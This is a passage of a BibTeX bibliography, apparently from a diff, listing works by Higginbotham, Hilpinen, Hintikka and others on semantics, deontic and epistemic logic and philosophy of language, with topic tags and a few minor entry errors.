{5}, + pages = {447--480}, + xref = {Reprinted in higginbotham:1984c2.}, + topic = {quantifier;mass-term-semantics;} + } + +@article{ higginbotham:1994d, + author = {James Higginbotham}, + title = {Review {\it Microcognition: Philosophy, Cognitive Science, + and Parallel Distributed Processing}, by Andy Clark}, + journal = {Philosophical Quarterly}, + year = {1994}, + volume = {44}, + number = {174}, + pages = {112--115}, + topic = {cognitive-science;} + } + +@incollection{ higginbotham:1995a, + author = {James Higginbotham}, + title = {Some Philosophy of Language}, + booktitle = {Language: An Invitation to Cognitive Science, Vol. 1, + 2nd ed.}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Lila R. Gleitman and Mark Liberman}, + pages = {399--427}, + address = {Cambridge, Massachusetts}, + topic = {philosophy-of-language;} + } + +@incollection{ higginbotham:1995b, + author = {James Higginbotham}, + title = {The Place of Natural Language}, + booktitle = {On {Q}uine: New Essays}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Paolo Leonardi and Marco Santambragio}, + pages = {113--139}, + address = {Cambridge, England}, + topic = {philosophy-of-language;} + } + +@book{ higginbotham:1995c, + author = {James Higginbotham}, + title = {Sense and Syntax}, + publisher = {Oxford University Press}, + year = {1995}, + address = {Oxford}, + topic = {adverbs;nl-semantics;events;} + } + +@article{ higginbotham:1995d, + author = {James Higginbotham}, + title = {Tensed Thoughts}, + journal = {Mind and Language}, + year = {1995}, + volume = {10}, + number = {3}, + pages = {226--249}, + topic = {philosophy-of-language;nl-tense;} + } + +@incollection{ higginbotham:1996a, + author = {James Higginbotham}, + title = {{GB} Theory: An Introduction}, + booktitle = {Handbook of Logic and Language}, + publisher = {Elsevier}, + year = {1996}, + editor = {Johan {van Benthem} and Alice {ter Meulen}}, + pages = {311--360}, + address = {Amsterdam}, + topic = {GB-syntax;nl-semantics;} + } + +@incollection{ higginbotham:1996b, + author = {James Higginbotham}, + title = {The Semantics of Questions}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {361--383}, + topic = {nl-semantics;interrogatives;} + } + +@unpublished{ higginbotham:1999a, + author = {James Higginbotham}, + title = {Telic Pairs}, + year = {1999}, + note = {Unpublished manuscript, Oxford University.}, + topic = {eventualities;lexical-semantics;tense-aspect;event-semantics;} + } + +@unpublished{ higginbotham:1999b, + author = {James Higginbotham}, + title = {The First Person in Language and Thought}, + year = {1999}, + note = {Unpublished manuscript, Oxford University.}, + topic = {indexicals;propositional-attitudes;} + } + +@book{ higginbotham-etal:2000a, + editor = {James Higginbotham and Fabio Pianesi and Achille C. Varzi}, + title = {Speaking of Events}, + publisher = {Oxford University Press}, + year = {2000}, + address = {Oxford}, + ISBN = {0195128079 (cloth)}, + topic = {events;nl-semantics;event-semantics;} +} + +@book{ higgins_et-kruglanski:1996a, + editor = {E. Tory Higgins and Arie W. Kruglanski}, + title = {Social Psychology: Handbook of Basic Principles}, + publisher = {Guilford Press}, + year = {1996}, + address = {New York}, + ISBN = {1572301007}, + topic = {social-psychology;} + } + +@phdthesis{ higgins_fr:1973a1, + author = {Francis Roger Higgins}, + title = {The Pseudo-Cleft Construction in {E}nglish}, + school = {Massachusetts Institute of Technology}, + year = {1973}, + xref = {Book publication: higgins:1973a3, IULC publication: + higgins:1973a2.}, + topic = {sentence-focus;cleft-constructions;presupposition; + English-language;} + } + +@book{ higgins_fr:1973a2, + author = {Francis Roger Higgins}, + title = {The Pseudo-Cleft Construction in {E}nglish}, + publisher = {Indiana University Linguistics Club}, + year = {1976}, + address = {310 Lindley Hall, Bloomington, Indiana}, + xref = {Dissertation: higgins:1973a1, Book Publication: + higgins:1973a3.}, + topic = {sentence-focus;cleft-constructions;presupposition; + English-language;} + } + +@book{ higgins_fr:1979a, + author = {Francis Roger Higgins}, + title = {The Pseudo-Cleft Construction in {E}nglish}, + publisher = {Garland Publishing Company}, + year = {1979}, + address = {New York}, + xref = {Dissertation: higgins:1973a1. IULC Publication: + higgins:1973a2.}, + topic = {sentence-focus;cleft-constructions;presupposition; + English-language;} + } + +@book{ hilbert-bernays:1939a, + author = {David Hilbert and Paul Bernays}, + title = {Die {G}rundlagen der {M}athematik {II}}, + publisher = {Springer-Verlag}, + year = {1939}, + address = {Berlin}, + edition = {2nd}, + topic = {logic-classics;} + } + +@article{ hildreth:1984a, + author = {Ellen C. Hildreth}, + title = {Computations Underlying the Measurement of Visual Motion}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {23}, + number = {3}, + pages = {309--354}, + topic = {motion-reconstruction;} + } + +@incollection{ hildreth-ullman:1989a, + author = {Ellec C. Hildreth and Shimon Ullman}, + title = {The Computational Study of Vision}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {15}, + pages = {583--630}, + address = {Cambridge, Massachusetts}, + topic = {computer-vision;} + } + +@article{ hill:1987a, + author = {Christopher S. Hill}, + title = {Rudiments of a Theory of Reference}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1987}, + volume = {28}, + number = {2}, + pages = {200--219}, + topic = {reference;foundations-of-semantics;} + } + +@book{ hill-gallagher:1994a, + author = {P.M. Hill and J.G. Gallagher}, + title = {Meta-Programming in Logic Programming}, + publisher = {School of Computer Studies, University of Leeds}, + year = {1994}, + address = {Leeds}, + ISBN = {1575862379}, + topic = {metaprogramming;logic-programming;} + } + +@book{ hill_co:1997a, + author = {Claire Ortiz Hill}, + title = {Rethinking Identity and Metaphysics}, + publisher = {Yale University Press}, + year = {1997}, + address = {New Haven}, + topic = {metaphysics;referential-opacity;identity;} + } + +@article{ hill_cs:1976a, + author = {Christopher C. Hill}, + title = {Toward a Theory of Meaning for Belief Sentences}, + journal = {Philosophical Studies}, + year = {1976}, + volume = {30}, + pages = {209--226}, + topic = {belief;hyperintensionality;} + } + +@incollection{ hill_pm:1994a, + author = {Patricia M. Hill}, + title = {A Module System for Meta-Programming}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {395--409}, + address = {Berlin}, + topic = {metaprogramming;} + } + +@book{ hillis:1985a, + author = {W. Daniel Hillis}, + title = {The Connection Machine}, + publisher = {The {MIT} Press}, + year = {1985}, + address = {Cambridge, Massachusetts}, + ISBN = {0262081571}, + topic = {parallel-processing;} + } + +@book{ hillis:1998a, + author = {W. Daniel Hillis}, + title = {The Pattern on the Stone: The Simple Ideas that Make Computers + Work}, + publisher = {Basic Books}, + year = {1998}, + address = {New York}, + ISBN = {0465025951 (hc)}, + topic = {popular-computer-science;foundations-of-computer-science;} + } + +@incollection{ hilpinen:1969a, + author = {Risto Hilpinen}, + title = {An Analysis of Relativized Modalities}, + booktitle = {Philosophical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1969}, + editor = {John W. Davis and D. J. Hockney and W.K. Wilson}, + pages = {181--193}, + address = {Dordrecht}, + topic = {relativized-modalities;nl-modality;ability;} + } + +@book{ hilpinen:1971a, + editor = {Risto Hilpinen}, + title = {Deontic Logic: Introductory and Systematic Readings}, + publisher = {D. Reidel Publishing Company}, + year = {1971}, + address = {Dordrecht}, + topic = {deontic-logic;} + } + +@incollection{ hilpinen:1974a, + author = {Risto Hilpinen}, + title = {On the Semantics of Personal Directives}, + booktitle = {Semantics and Communication}, + publisher = {Horth-Holland Publishing Company}, + address = {Amsterdam}, + year = {1974}, + editor = {Carl H. Heidrich}, + pages = {162--179}, + topic = {deontic-logic;imperatives;} + } + +@book{ hilpinen:1981a, + editor = {Risto Hilpinen}, + title = {New Studies in Deontic Logic}, + publisher = {D. Reidel Publishing Company}, + year = {1981}, + address = {Dordrecht}, + contentnote = {TC: + 1. Georg Henrik {{v}on Wright}, "On the Logic of Norms and + Actions", pp. 3--25 + 2. Hector-Neri Casta\neda, "The Paradoxes of Deontic Logic: The + Simplest Solution to All of Them in One Fell + Swoop", pp. 37--85 + 3. David C. Makinson, "Quantificational Reefs in Deontic + Waters", pp. 87--91 + 4. Carlos E. Alchourr\'on and Eugenio Bulygin, "The Expressive + Conception of Norms", pp. 95--125 + 5. Carlos E. Alchourr\'on and David C. Makinson, "Hierarchies of + Regulations and Their Logic", pp. 125--148 + 6. Peter K. Scotch and Raymond E. Jennings, "Non-{K}ripkean + Deontic Logic", pp. 149--162 + 7. Richmond H. Thomason, "Deontic Logic as Founded on Tense + Logic", pp. 165--176 + 8. Richmond H. Thomason, "Deontic Logic and the Role of + Freedom in Moral Deliberation", pp. 177--186 + 9. Lennart {\AA}qvist and Jaap Hoepelman, "Some Theorems about a + Tree System of Deontic Tense Logic", pp. 187--221 + 10. Simo Knuuttila, "The Emergence of Deontic Logic in the + Fourteenth Century", pp. 225--248 + } , + ISBN = {9027712786}, + topic = {deontic-logic;} + } + +@incollection{ hilpinen:1988a, + author = {Risto Hilpinen}, + title = {Knowledge and Conditionals}, + booktitle = {Philosophical Perspectives, Vol. 2: Epistemology}, + publisher = {Blackwell Publishers}, + year = {1988}, + editor = {James E. Tomberlin}, + pages = {157--182}, + address = {Oxford}, + topic = {epistemology;conditionals;} + } + +@incollection{ hilpinen:1994a, + author = {Risto Hilpinen}, + title = {Disjunctive Permissions and Conditionals with Disjunctive + Antecedents}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {175--194}, + address = {Helsinki}, + topic = {permission;deontic-logic;conditionals;} + } + +@incollection{ hinchliff:2000a, + author = {Mark Hinchliff}, + title = {A Defense of Presentism in a Relativistic Setting}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S575--S586}, + address = {Newark, Delaware}, + topic = {philosophy-of-time;} + } + +@article{ hinde:1985a, + author = {Robert A. Hinde}, + title = {Was `The Expression of the Emotions' a Misleading + Phrase?}, + journal = {Animal Behaviour}, + volume = {33}, + number = {3}, + pages = {985--992}, + year = {1985}, + topic = {emotions;nonverbal-behavior;} + } + +@book{ hindley:1997a, + author = {J. Roger Hindley}, + title = {Basic Simple Type Theory}, + publisher = {Cambridge University Press}, + year = {1987}, + address = {Cambridge, England}, + xref = {Review: tiede:1999a.}, + topic = {higher-order-logic;} + } + +@techreport{ hinkelman:1987a, + author = {Elizabeth Hinkelman}, + title = {Thesis Proposal: A Plan-Based Approach to + Conversational Implicature}, + institution = {Computer Science Department, University of Rochester}, + number = {202}, + year = {1987}, + address = {Rochester, New York}, + topic = {implicature;pragmatics;plan-recognition;} + } + +@article{ hinkelman:1987b, + author = {Elizabeth Hinkelman}, + title = {Relevance: Computation and Coherence}, + journal = {Behavioral and Brain Sciences}, + year = {1987}, + volume = {10}, + pages = {720--721}, + missinginfo = {number}, + topic = {implicature;relevance;} + } + +@incollection{ hinkelman:1988a, + author = {Elizabeth Hinkelman}, + title = {Plans, Speech Acts, and Conversational Implicature}, + booktitle = {Proceedings of the 1988 Open House}, + year = {1988}, + editor = {C.A. Quiroz}, + pages = {59--70}, + publisher = {COmputer Science Department, University of Rochester}, + address = {Rochester}, + note = {Technical Report 209.}, + topic = {speech-acts-conversational-implicature;} + } + +@inproceedings{ hinrichs:1983a, + author = {Erhard Hinrichs}, + title = {The Semantics of the {E}nglish Progressive}, + booktitle = {Proceedings of the Nineteenth Regional Meeting of the + Chicago Linguistics Society}, + year = {1983}, + pages = {171--182}, + publisher = {Chicago Linguistics Society}, + address = {Chicago University, Chicago, Illinois}, + missinginfo = {editor}, + topic = {progressive;tense-aspect;} + } + +@phdthesis{ hinrichs:1985a, + author = {Erhard W. Hinrichs}, + title = {A Compositional Semantics for {A}ktionsarten and {NP} Reference in + {E}nglish}, + school = {The Ohio State University}, + year = {1985}, + type = {Ph.{D}. Dissertation}, + address = {Columbus}, + topic = {tense-aspect;} + } + +@article{ hinrichs:1986a, + author = {Erhard Hinrichs}, + title = {Temporal Anaphora in Discourses of {E}nglish}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {1}, + pages = {63--82}, + topic = {anaphora;nl-tense;} + } + +@article{ hinrichs:1989a, + author = {Erhard Hinrichs}, + title = {Review of {\it Temporal Structure in Sentence and + Discourse}, by Vinzenzo Lo Cascio and Co Vet}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {2}, + pages = {243--267}, + xref = {Review of locascio-vet:1986a.}, + topic = {tense-aspect;} + } + +@article{ hintikka:1957a, + author = {Jaakko Hintikka}, + title = {Quantifiers in Deontic Logic}, + journal = {Societas Scientiarumi Fennica, Commentationes Humanarum + Literarum}, + year = {1957}, + volume = {23}, + number = {4}, + pages = {475--484}, + topic = {modal-logic;quantifying-in-modality;} + } + +@article{ hintikka:1957b, + author = {Jaakko Hintikka}, + title = {Necessity, Universality, and Time in {A}ristotle}, + journal = {Ajatus}, + year = {1957}, + volume = {20}, + pages = {65--91}, + topic = {Aristotle;philosophy-of-time;} + } + +@article{ hintikka:1959a, + author = {Jaakko Hintikka}, + title = {An {A}ristotelian Dilemma}, + journal = {Ajatus}, + year = {1959}, + volume = {22}, + pages = {87--92}, + topic = {Aristotle;syllogistic;modal-logic;} + } + +@article{ hintikka:1961a, + author = {Jaakko Hintikka}, + title = {Modalities and Quantification}, + journal = {Theoria}, + year = {1961}, + volume = {27}, + number = {3}, + pages = {119--128}, + topic = {modal-logic;quantifying-in-modality;} + } + +@book{ hintikka:1962a, + author = {Jaakko Hintikka}, + title = {Knowledge and Belief}, + publisher = {Cornell University Press}, + year = {1962}, + address = {Ithaca, New York}, + topic = {epistemic-logic;belief;} + } + +@article{ hintikka:1962b, + author = {Jaakko Hintikka}, + title = {{\em Cogito Ergo Sum:} Inference or Performance?}, + journal = {The Philosophical Review}, + year = {1962}, + volume = {3--32}, + pages = {3--32}, + topic = {performatives;Descartes;} + } + +@article{ hintikka:1964a, + author = {Jaakko Hintikka}, + title = {The Once and Future Sea Fight: {A}ristotle's Discussion of + Future Contingents in "{d}e {I}nterpretatione" {IX}}, + journal = {Philosophical Review}, + year = {1964}, + volume = {73}, + pages = {461--492}, + topic = {Aristotle;future-contingent-propositions;} + } + +@article{ hintikka:1965a, + author = {Jaakko Hintikka}, + title = {Are Logical Truths Analytic?}, + journal = {The Philosophical Review}, + year = {1965}, + volume = {174}, + number = {2}, + pages = {178--203}, + topic = {philosophy-of-logic;analyticity;} + } + +@article{ hintikka:1966a, + author = {Jaakko Hintikka}, + title = {Studies in the Logic of Existence and Modality}, + journal = {The Monist}, + year = {1966}, + volume = {50}, + number = {1}, + pages = {55--76}, + topic = {(non)existence;quantifying-in-modality;} + } + +@article{ hintikka:1968a, + author = {Jaakko Hintikka}, + title = {Are Mathematical Truths Synthetic A Priori?}, + journal = {The Journal of Philosophy}, + year = {1968}, + volume = {65}, + number = {24}, + pages = {640--651}, + topic = {philosophy-of-mathematics;a-priori;} + } + +@incollection{ hintikka:1969a, + author = {Jaakko Hintikka}, + title = {Deontic Logic and Its Philosophical Morals}, + booktitle = {Models for Modalities: Selected Essays}, + publisher = {D. Reidel Publishing Company}, + address = {Dordrecht}, + year = {1969}, + pages = {184--214}, + title = {On Semantic Information}, + booktitle = {Information and Inference}, + publisher = {D. Reidel Publishing Co.}, + year = {1970}, + editor = {Jaakko Hintikka and Patrick Suppes}, + pages = {3--27}, + address = {Dordrecht}, + topic = {semantic-information;} + } + +@incollection{ hintikka:1970b, + author = {Jaakko Hintikka}, + title = {Surface Information and Depth Information}, + booktitle = {Information and Inference}, + publisher = {D. Reidel Publishing Co.}, + year = {1970}, + editor = {Jaakko Hintikka and Patrick Suppes}, + pages = {263--293}, + address = {Dordrecht}, + topic = {semantic-information;} + } + +@article{ hintikka:1970c, + author = {Jaakko Hintikka}, + title = {`{K}nowing that One Knows' Reviewed}, + journal = {Synth\'ese}, + year = {1970}, + volume = {21}, + pages = {141--162}, + missinginfo = {number}, + topic = {epistemic-logic;} + } + +@article{ hintikka:1970d, + author = {Jaakko Hintikka}, + title = {The Semantics of Modal Notions and the Indeterminisy of Ontology}, + journal = {Synth\'ese}, + year = {1970}, + volume = {21}, + pages = {408--424}, + missinginfo = {number}, + topic = {foundations-of-modal-logic;quantifying-in-modality;reference-gaps;} + } + +@article{ hintikka:1970e, + author = {Jaakko Hintikka}, + title = {Objects of Knowledge and Belief: Aquaintances and + Public Figures}, + journal = {The Journal of Philosophy}, + year = {1970}, + volume = {67}, + number = {21}, + pages = {869--883}, + topic = {epistemic-logic;quantifying-in-modality;logic-of-perception; + knowing-who;} + } + +@article{ hintikka:1970f, + author = {Jaakko Hintikka}, + title = {Knowledge, Belief, and Logical Consequence}, + journal = {Ajatus}, + year = {1970}, + volume = {32}, + pages = {32--47}, + topic = {epistemic-logic;hyperintensionality;} + } + +@incollection{ hintikka:1971a, + author = {Jaakko Hintikka}, + title = {Some Main Problems of Deontic Logic}, + booktitle = {Deontic Logic: Introductory and Systematic Readings}, + editor = {Risto Hilpinen}, + publisher = {D. Reidel Publishing Company}, + address = {Dordrecht}, + year = {1971}, + pages = {59--104}, + topic = {deontic-logic;} + } + +@article{ hintikka:1972a, + author = {Jaakko Hintikka}, + title = {Constituents and Finite Identifiability}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {1}, + pages = {45--52}, + topic = {Beth's-theorem;} + } + +@incollection{ hintikka:1972b, + author = {Jaakko Hintikka}, + title = {The Semantics of Modal Notions and the + Indeterminacy of Ontology}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {398--414}, + address = {Dordrecht}, + topic = {intensionality;logic-and-ontology;individuation; + philosophy-of-logic;} + } + +@article{ hintikka:1974a, + author = {Jaakko Hintikka}, + title = {Information, Causality, and the Logic of Perception}, + journal = {Ajatus}, + year = {1974}, + volume = {36}, + pages = {76--94}, + missinginfo = {number}, + topic = {logic-of-perception;} + } + +@incollection{ hintikka:1974b, + author = {Jaakko Hintikka}, + title = {On the Proper Treatment of Quantifiers in {M}ontague + Semantics}, + booktitle = {Logical Theory and Semantic Analysis}, + editor = {S{\o}ren Stenlund}, + publisher = {D. Reidel Publishing Company}, + year = {1974}, + pages = {45--60}, + topic = {Montague-grammar;nl-quantifiers;quantifying-in-modality;} + } + +@article{ hintikka:1975a, + author = {Jaakko Hintikka}, + title = {Impossible Worlds Vindicated}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + pages = {475--484}, + missinginfo = {number}, + topic = {hyperintensionality;} + } + +@book{ hintikka:1975b, + editor = {Jaakko Hintikka}, + title = {Rudolf {C}arnap, Logical Empiricist: Materials And + Perspectives}, + publisher = {D. Reidel Publishing Company}, + year = {1975}, + address = {Dordrecht}, + ISBN = {0792347803 (hardbound)}, + contentnote = {TC: + 1. Carl Hempel, "{R}udolf {C}arnap, Logical Empiricist" + 2. Anders Wedberg, "How {C}arnap Built the World in 1928" + 3. Rolf Eberle, "A Construction of Quality Classes Improved + upon the {A}ufbau" + 4. Rudolf Carnap "Observation Language and Theoretical + Language" + 5. David Kaplan, "Significance and Analyticity: A Comment Of + Some Recent Proposals of {C}arnap" + 6. R. W\'ojcicki, "The Factual Content of Empirical Theories" + 7. P. Williams, "On the Conservative Extensions of Semantical + Systems: A Contribution to the Problem of + Analyticity" + 8. John Winnie, "Theoretical Analyticity" + 9. Anders Wedberg, "Decision and Belief in Science" + 10. H. Bohnert, "{C}arnap's Logicism" + 11. Jaakko Hintikka, "{C}arnap's Heritage in Logical Semantics" + 12. Barbara Partee, "The Semantics of Belief-Sentences" + 13. Kasher, A., "Pragmatic Representations and + Language-Games" + 14. Carnap, R., "Notes on Probability and Induction" + 15. Richard Jeffrey, "Carnap's Inductive Logic" + 16. Jaakko Hilpinen, "Carnap's New System of Inductive Logic" + 17. T. Kuipers, "A generalization of {C}arnap's Inductive + Logic" + 18. W. Essler, "Hintikka versus {C}arnap" + 19. Jaakko Hintikka, "Carnap and {E}ssler versus Inductive + Generalization" + 20. Abner Shimony, "Carnap on Entropy, Introduction to + 'Two Essays on Entropy{'}, by {R}udolf {C}arnap" + } , + topic = {Carnap;} + } + +@article{ hintikka-saarinen:1975a, + author = {Jaakko Hintikka and Esa Saarinen}, + title = {Semantical Games and the {B}ach-{P}eters Paradox}, + journal = {Theoretical Linguistics}, + year = {1975}, + volume = {2}, + pages = {1--19}, + topic = {game-theoretic-semantics;Bach-Peters-sentences;} + } + +@incollection{ hintikka:1976a, + author = {Jaakko Hintikka}, + title = {A Counterexample to {T}arski-Type Truth-Definitions + as Applied to Natural Language}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {107--112}, + address = {Dordrecht}, + topic = {game-theoretic-semantics;truth-definitions;} + } + +@incollection{ hintikka:1976b, + author = {Jaakko Hintikka}, + title = {A Counterexample to {T}arski-Type Truth + Definitions as Applied to Natural Languages}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {107--112}, + address = {Dordrecht}, + topic = {nl-quantification;} + } + +@article{ hintikka:1977a, + author = {Jaakko Hintikka}, + title = {Quantifiers in Natural Languages: Some Logical + Problems {II}}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {2}, + pages = {153--172}, + topic = {game-theoretic-semantics;nl-quantifier-scope;nl-quantifiers;} + } + +@article{ hintikka-carlson_l:1977a, + author = {Jaakko Hintikka and Lauri Carlson}, + title = {Pronouns of Laziness in Game-Theoretical Semantics}, + journal = {Theoretical Linguistics}, + year = {1977}, + volume = {4}, + number = {1/2}, + pages = {1--29}, + missinginfo = {A's 1st name, number}, + topic = {anaphora;game-theoretic-semantics;} + } + +@incollection{ hintikka-carlson:1978a1, + author = {Jaakko Hintikka and Lauri Carlson}, + title = {Conditionals, Generic Quantifiers, and Other Applications + of Subgames}, + booktitle = {Formal Semantics and Pragmatics for Natural Languages}, + publisher = {D. Reidel Publishing Co.}, + year = {1978}, + editor = {Franz Guenthner and S.J. Schmidt}, + pages = {1--36}, + address = {Dordrecht}, + topic = {nl-semantics;game-theoretic-semantics;conditionals;generics;} + } + +@incollection{ hintikka-carlson:1978a2, + author = {Jaakko Hintikka and Lauri Carlson}, + title = {Conditionals, Generic Quantifiers, and Other Applications + of Subgames}, + booktitle = {Meaning and Use: Papers Presented at the Second + {J}erusalem Philosophy Encounter}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Avishai Margalit}, + pages = {57--92}, + address = {Dordrecht}, + topic = {nl-semantics;game-theoretic-semantics;conditionals;generics;} + } + +@article{ hintikka:1979a, + author = {Jaakko Hintikka}, + title = {`{I}s', Semantical Games, and Semantical Relativity}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {4}, + pages = {433--468}, + topic = {game-theoretic-semantics;nl-semantics;} + } + +@article{ hintikka:1980a, + author = {Jaakko Hintikka}, + title = {On the {\it Any\/}-Thesis and the Methodology of Linguistics}, + journal = {Linguistics and Philosophy}, + year = {1980}, + volume = {4}, + number = {1}, + pages = {101--122}, + contentnote = {This paper deals with an attempt to account + for differences between "any" and "every". It is a + reply to criticisms in chomsky:1977a.}, + topic = {nl-quantifiers;game-theoretic-semantics;free-choice-`any';} + } + +@article{ hintikka:1982a, + author = {Jaakko Hintikka}, + title = {Is Alethic Modal Logic Possible?}, + journal = {Acta Philosophica {F}ennica}, + year = {1982}, + volume = {35}, + pages = {89--105}, + topic = {foundations-of-modal-logic;;} + } + +@article{ hintikka:1982b, + author = {Jaakko Hintikka}, + title = {Temporal Discourse and Semantic Games}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {5}, + number = {1}, + pages = {3--22}, + topic = {nl-semantics;nl-tense;game-theoretic-semantics;} + } + +@article{ hintikka:1982c, + author = {Jaakko Hintikka}, + title = {Game-Theoretic Semantics: Insights and Prospects}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1982}, + volume = {23}, + number = {1}, + missinginfo = {pages}, + xref = {Commentary: higginbotham:1982b.}, + topic = {game-theoretic-semantics;} + } + +@article{ hintikka:1984a, + author = {Jaakko Hintikka}, + title = {A Hundred Years Later: The Rise and Fall of + {F}rege's Influence in Language Theory}, + journal = {Synth\'ese}, + year = {1984}, + volume = {59}, + number = {1}, + pages = {27--49}, + topic = {Frege;philosophy-of-language;} + } + +@book{ hintikka-kulas:1985a, + author = {Jaakko Hintikka and Jack Kulas}, + title = {Anaphora and Definite Descriptions: Two Applications Of + Game-Theoretical Semantics}, + publisher = {D. Reidel Publishing Co.}, + year = {1985}, + address = {Dordrecht}, + ISBN = {902772055X}, + topic = {anaphora;definite-descriptions;game-theoretic-semantics;} + } + +@inproceedings{ hintikka:1986a, + author = {Jaakko Hintikka}, + title = {Reasoning about Knowledge in Philosophy: The Paradigm of + Epistemic Logic}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {63--80}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {epistemic-logic;} + } + +@incollection{ hintikka:1986b, + author = {Jaakko Hintikka}, + title = {Logic of Conversation as a Logic of Dialogue}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {259--276}, + address = {Oxford}, + topic = {dialogue-logic;game-theory;Grice;} + } + +@incollection{ hintikka:1987a, + author = {Jaakko Hintikka}, + title = {Game Theoretical Semantics as a Synthesis of + Verificationalist and Truth-Conditional Meaning Theories}, + booktitle = {New Directions in Semantics, Volume 2}, + publisher = {Academic Press}, + year = {1987}, + editor = {Ernest LePore}, + pages = {235--258}, + address = {London}, + topic = {game-theoretic-semantics;} + } + +@article{ hintikka:1988a, + author = {Jaakko Hintikka}, + title = {On the Developmental of the Model-Theoretic + Viewpoint as a Logical Theory}, + journal = {Synth\'ese}, + year = {1988}, + volume = {77}, + number = {1}, + pages = {121--124}, + topic = {model-theory;history-of-logic;} + } + +@article{ hintikka:1988b, + author = {Jaakko Hintikka}, + title = {Model Minimization---An Alternative to Circumscription}, + journal = {Journal of Automated Reasoning}, + year = {1988}, + volume = {4}, + pages = {1--13}, + topic = {model-minimization;nonmonotonic-logic;} + } + +@incollection{ hintikka:1989a, + author = {Jaakko Hintikka}, + title = {Exploring Possible Worlds}, + booktitle = {Possible Worlds in Humanities, Arts and Sciences}, + publisher = {Walter de Gruyter}, + year = {1989}, + editor = {Sture All\'en}, + pages = {52--73}, + address = {Berlin}, + topic = {philosophy-of-possible-worlds;modal-logic;history-of-logic;} + } + +@incollection{ hintikka:1994a, + author = {Jaakko Hintikka}, + title = {Is Alethic Modal Logic Possible?}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {87--105}, + address = {Helsinki}, + topic = {foundations-of-modal-logic;} + } + +@book{ hintikka:1996a, + author = {Jaakko Hintikka}, + title = {Lingua Universalis vs. Calculus Racinator: An Ultimate + Presupposition of Twentieth-Century Philosophy}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + address = {Dordrecht}, + topic = {truth;philosophy-of-language;} + } + +@book{ hintikka:1996b, + author = {Jaakko Hintikka}, + title = {Ludwig {W}ittgenstein: Half-Truths and + One-And-A-Half-Truths}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + address = {Dordrecht}, + ISBN = {0792340914 (hardcover)}, + topic = {Wittgenstein;} + } + +@incollection{ hintikka-sandu:1996a, + author = {Jaakko Hintikka and Gabriel Sandu}, + title = {Game-Theoretical Semantics}, + booktitle = {Handbook of Logic and Language}, + publisher = {Elsevier}, + year = {1996}, + editor = {Johan {van Benthem} and Alice {ter Meulen}}, + pages = {361--410}, + address = {Amsterdam}, + topic = {nl-semantics;game-theoretic-semantics;} + } + +@article{ hintikka:1997a, + author = {Jaakko Hintikka}, + title = {No Scope for Scope?}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {5}, + pages = {515--544}, + topic = {nl-quantifier-scope;compositionality;} + } + +@book{ hintikka:1997b, + author = {Jaakko Hintikka}, + title = {Lingua Universalis Vs. Calculus Ratiocinator: An Ultimate + Presupposition of Twentieth-Century Philosophy}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = {Dordrecht}, + ISBN = {0792342461 (hc)}, + topic = {metaphilosophy;} + } + +@unpublished{ hintikka:1998a, + author = {Jaakko Hintikka}, + title = {On {G}\"odel's Philosophical Assumptions}, + year = {1989}, + note = {Unpublished manuscript.}, + topic = {Goedel;philosophy-of-mathematics;} + } + +@article{ hintikka:1998b, + author = {Jaakko Hintikka}, + title = {Truth Definitions, {S}kolem Functions, and Axiomatic + Set Theory}, + journal = {The Bulletin of Symbolic Logic}, + year = {1998}, + volume = {4}, + number = {3}, + pages = {303--33}, + topic = {foundations-of-set-theory;} + } + +@article{ hintikka:1998c, + Author = {Jaakko Hintikka}, + title = {Ramsey Sentences and the Meaning of Quantifiers}, + journal = {Philosophy of Science}, + year = {1998}, + volume = {65}, + number = {2}, + pages = {289--305}, + topic = {Ramsey-elimination;} + } + +@book{ 